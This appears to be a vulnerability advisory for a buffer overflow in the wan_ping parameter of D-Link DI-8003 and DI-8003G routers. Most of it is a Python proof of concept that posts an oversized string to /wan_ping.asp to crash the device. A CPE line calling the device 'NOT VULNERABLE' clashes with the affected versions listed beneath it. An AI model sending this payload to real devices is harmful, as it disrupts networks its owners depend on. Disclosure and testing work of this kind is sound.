A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 and DI-8003G 19.12.10A1 due to improper handling of the wan_ping parameter in the /wan_ping.asp endpoint.
cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8003 16.07.26A1
D-Link DI-8003G 19.12.10A1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target settings
target_ip = "192.168.0.1" # Replace with vulnerable device IP
target_url = f"http://{target_ip}/wan_ping.asp"
# Construct payload: A long string to trigger buffer overflow
# Adjust length based on specific buffer size analysis (e.g., 1000 bytes)
payload = "A" * 1000
# Prepare data parameters
data = {
"wan_ping": payload
}
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
try:
print(f"Sending payload to {target_url}...")
response = requests.post(target_url, data=data, headers=headers, timeout=5)
print(f"Response Status Code: {response.status_code}")
# If the device crashes, the connection may fail or timeout
if response.status_code != 200:
print("Potential vulnerability triggered.")
else:
print("Request sent successfully. Check device status for crash.")
except requests.exceptions.Timeout:
print("Connection timed out. Device may have crashed (DoS).")
except Exception as e:
print(f"An error occurred: {e}")